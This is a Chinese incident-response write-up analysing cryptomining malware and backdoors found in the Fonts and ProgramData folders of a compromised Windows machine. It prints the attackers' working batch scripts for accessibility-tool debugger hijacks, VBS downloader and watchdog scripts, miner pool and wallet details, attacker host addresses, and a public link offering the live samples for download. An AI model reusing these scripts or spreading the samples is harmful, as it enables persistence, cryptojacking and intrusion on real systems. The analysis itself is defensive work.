记一次应急中发现的诡异事件

2019-06-20 21:01:06 浏览数 (1)

0x1 事件概述

在一次应急响应中,无意发现来自不同地区和人员的攻击,两种留后门的方法,截然不同的操作,不同的技术手法。

0x2病毒的温床Fonts

fonts目录常被用于藏匿后门的最佳场所

由于不能直接使用资源管理器进行查看,所以我就选择在dos下打印目录结构进行查看。可以看到这个目录下,有各种各样的“非常规文件”

1.ini-6.ini文件的内容他们是:

代码语言:javascript复制
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe [7]HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe [19]HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe [7]HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe [19]HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnarrator.exe [7]HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnarrator.exe [19]

然后我们继续看该目录下的其他文件

哦买噶的,这个老哥一定是个bat狂魔吧,为什么如此任性。

Aa.bat

代码语言:javascript复制
>>cloud.inf echo.[Version]>>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0

Aaa.bat

代码语言:javascript复制
>>cloud.inf echo.[Version] >>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnarrator.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0

aodd.bat

代码语言:javascript复制
takeown /f %SystemRoot%system32osk.exe /aecho y|cacls %SystemRoot%system32osk.exe /g Administrators:fecho y|cacls %SystemRoot%system32osk.exe /e /g Users:recho y|cacls %SystemRoot%system32osk.exe /e /g Administrators:recho y|cacls %SystemRoot%system32osk.exe /e /d SERVICEecho Y|cacls %SystemRoot%system32osk.exe /e /d "network service"echo y|cacls %SystemRoot%system32osk.exe /e /g system:r%systemroot%system32attrib  s  h  r %systemroot%Fontslsass.execall %systemroot%FontsAa.bat%systemroot%system32regini 3.ini%systemroot%regedit /s %systemroot%Fontslsass.regdel %systemroot%Fontslsass.regcall %systemroot%FontsSs.bat%systemroot%system32regini 4.inidel 3.inidel 4.ini@del %sfxcmd%@del "%0" >nul

aodi.bat

代码语言:javascript复制
takeown /f %SystemRoot%system32sethc.exe /aecho y|cacls %SystemRoot%system32sethc.exe /g Administrators:fecho y|cacls %SystemRoot%system32sethc.exe /e /g Users:recho y|cacls %SystemRoot%system32sethc.exe /e /g Administrators:recho y|cacls %SystemRoot%system32sethc.exe /e /d SERVICEecho Y|cacls %SystemRoot%system32sethc.exe /e /d "network service"echo y|cacls %SystemRoot%system32sethc.exe /e /g system:r@echo cd c:%systemroot%system32attrib  s  h  r %systemroot%Fontssmss.execall %systemroot%FontsAS.bat%systemroot%system32regini 1.ini%systemroot%regedit /s %systemroot%Fontssmss.regdel %systemroot%Fontssmss.regcall %systemroot%FontsSY.bat%systemroot%system32regini 2.inidel 1.inidel 2.ini@del %sfxcmd%@del "%0" >nul

AS.bat

代码语言:javascript复制
>>cloud.inf echo.[Version]>>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0

sql.bat

代码语言:javascript复制
takeown /f %SystemRoot%system32narrator.exe /aecho y|cacls %SystemRoot%system32narrator.exe /g Administrators:fecho y|cacls %SystemRoot%system32narrator.exe /e /g Users:recho y|cacls %SystemRoot%system32narrator.exe /e /g Administrators:recho y|cacls %SystemRoot%system32narrator.exe /e /d SERVICEecho Y|cacls %SystemRoot%system32narrator.exe /e /d "network service"echo y|cacls %SystemRoot%system32narrator.exe /e /g system:r%systemroot%system32attrib  s  h  r %systemroot%Fontssqlser.execall %systemroot%FontsAaa.bat%systemroot%system32regini 5.ini%systemroot%regedit /s %systemroot%Fontssqlser.regdel %systemroot%Fontssqlser.regcall %systemroot%FontsSss.bat%systemroot%system32regini 6.inidel 5.inidel 6.ini@del %sfxcmd%@del "%0" >nul

这些批处理都在对注册表进行操作

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

想必大家对这个注册表项应该不陌生,没错就是镜像劫持。

镜像劫持简单的说就是,当你打开程序A,运行的确实程序B。

那么上述的几个文件都劫持了那些程序:

第一个sethc.exe///这个是粘滞键的程序 第二个osk.exe///这个是屏幕键盘程序 第三个narrator.exe///这个是讲述人的程序

那就是说,他们留下的后门,其实有一点没太明白,镜像劫持通常debugger来实现的,应该长这样

代码语言:javascript复制
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe]"debugger"="c:\windows\system32\calc.exe"

所以说

代码语言:javascript复制
MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*

这个劫持的意思是通过编辑组策略导入cloud.inf到组策略中,然后删除相关记录和日志,转储文件,具体导入了什么组策略我也不太清楚啊

然后我们接找看三个注册表文件

lsass.reg

代码语言:javascript复制
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe]"debugger"="C:\Windows\Fonts\lsass.exe"

smss.reg

代码语言:javascript复制
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe]"debugger"="C:\Windows\Fonts\smss.exe"

sqlser.reg

代码语言:javascript复制
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnarrator.exe]"debugger"="C:\Windows\Fonts\sqlser.exe"

这三个文件是镜像劫持的正主没错,分别将osk.exe,sethc.exe,narrator.exe劫持到了fonts目录下的lsass.exe,smss.exe,sqlser.exe:

代码语言:javascript复制
2018c59e591d04f149ffb075abc69e42  lsass.exedf81d89ae883be710a3b98df8a1aecf0  smss.exedf81d89ae883be710a3b98df8a1aecf0  sqlser.exe
代码语言:javascript复制

三个文件均包含自解压脚本命令,不过令我奇怪的是这三个压缩文件都有密码,启动脚本都是启动任务管理器,匪夷所思。

然后该分析conhost.exe这个文件了,左侧为系统文件,右侧为该恶意文件:

不得不承认,这个文件还是想当具有迷惑性的,接下来是这个文件的行为分析阶段。

杀死任务管理器,杀死rundll32.exe,杀死autoruns.exe,杀死perfmon.exe,杀死procexp.exe,杀死processhacker.exe,修改Fonts目录的属性。

通过杀死安全研究软件,阻止对自身的分析。杀死rundll32.exe应该是杀死别的恶意软件。

停止服务ServiceSais; 然后删除该服务; 杀死进程KvMonXP.exe,(这玩意好像是江民杀毒的程序); 释放文件KvmonXP.exe; 执行KvmonXP.exe。

安装ServiceSais服务,执行KvmonXP.exe,传入参数(矿池,钱包地址)

矿池:max.dllhost.host:443

钱包:

42SgGCdjazjddK45L9AQGyXwZPh7VRRPW47iWG18uvFdQ7sXMAHgnDd1e8pHdu68AHbSaYo2a7x6QCSRjGeM14oZ1RSLVRi

设置服务的显示名 设置服务描述 启动服务

svchost.exe这个文件似乎在整个事件中起这不小的作用,接下来我们就看看这个文件的庐山真面目。

首先这个文件是启动项。

这个文件运行的时候会将自己释放到别的目录下,修改文件属性为系统文件,实现隐藏,重命名后,创建服务实现自启动。

连接mdzz2018.msns.cn的12596端口。

截至现在,Fonts目录下的文件勉强算是结束了。

0x3 玩坏了的VBS

前面的样本中大量使用bat,可以说bat使用手法还算是娴熟,那么下边的样本让我对作者刮目相看。在ProgrameData目录下。

2.vbs

代码语言:javascript复制
on error resume next with wscript:if .arguments.count<2 then .quit:end if set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") web.open "get",.arguments(0),0:web.send:if web.status>200 then quit aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with

lang.vbs

代码语言:javascript复制
on error resume next with wscript:if .arguments.count<2 then .quit:end if set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") web.open "get",.arguments(0),0:web.send:if web.status>200 then quit aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with

tao.vbs

代码语言:javascript复制
option Explicit    dim wmi,proc,procs,proname,flag,WshShell    Do      proname="lass.exe"  set wmi=getobject("winmgmts:{impersonationlevel=impersonate}!\.rootcimv2")    set procs=wmi.execquery("select * from win32_process")      flag=true    for each proc in procs        if strcomp(proc.name,proname)=0 then          flag=false          exit for        end if    next      set wmi=nothing      if flag then        Set WshShell = Wscript.CreateObject("Wscript.Shell")        WshShell.Run ("c:ProgramDatalass.exe")    end if      wscript.sleep 1000 '检测间隔时间,这里是50秒    loop

vget.vbs

代码语言:javascript复制
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

可以看到,tao.vbs在不停的循环判断,然后执行lass.exe。

接下来分析一下lass.exe的行为。

释放文件config.json:

代码语言:javascript复制
"url": "pool.minexmr.com:7777","user": "47CMTqxiPTeZB5dn8DgkPR8ufUA5sbWm1awAAGzAqEcvUzLE7VZZ5eQ1v5ndDyHzYibs6bwa24V2uFaFKLWQW8Wa9nHfU37",

然后随手查了一下这个矿工:

释放可执行文件并执行:

创建开机启动项:

紧接着我们分析它释放的chromes.exe这个文件。

我用沙箱跑了一下,没有发现任何行为,还有壳,不过这个应该是挖矿的主进程,lass是加载器,tao.vbs是守护进程,lass释放配置文件和挖矿主程序进行挖矿:

https://s.threatbook.cn/report/file/f0ad29c7c845689710677de927e4e3ee49054bd19c09710ecef641de34bcd6a6/?env=win7_sp1_enx64_office2013

那么这个目录下的a1.exe,a2.exe,taskger.exe又是做什么的呢?

a1.exe

a1.exe是一个提权的exp,MS16-032

那么a2.exe呢?

taskger.exe

设置自启动,连接到103.248.220.221:8721

0x4无处安放

除了上述的恶意文件之外,还有一些,我觉得似乎和他们不是一伙的。 从矿池地址可以看出来。

在Fonts目录下比较喜欢使用bat,另外就是有签名,虽然签名不怎么样

在ProgrameData目录下的比较擅长使用vbs,但是文件没有签名,虽然没有签名,却加壳了

剩下的都是零零散散的文件,也不太确定属于哪个系列。

没错,你没有看错这个就是360会员中心,这个文件看上去似乎是用来读密码的,但是我在我的win7试了,好像不行,难道是权限不足?大家可以研究一下。

win64.exe是一个挖矿程序,下图是win64的静态分析,因为确实必要的文件,所以没法动态分析。

0x5样本资源

以上所讲到的所有的样本我都上传到了一个云盘,方便大家下载研究。

链接:https://pan.baidu.com/s/1TCmYGguB0aE9J3IIxTBAnQ

提取码:oaqr

0 人点赞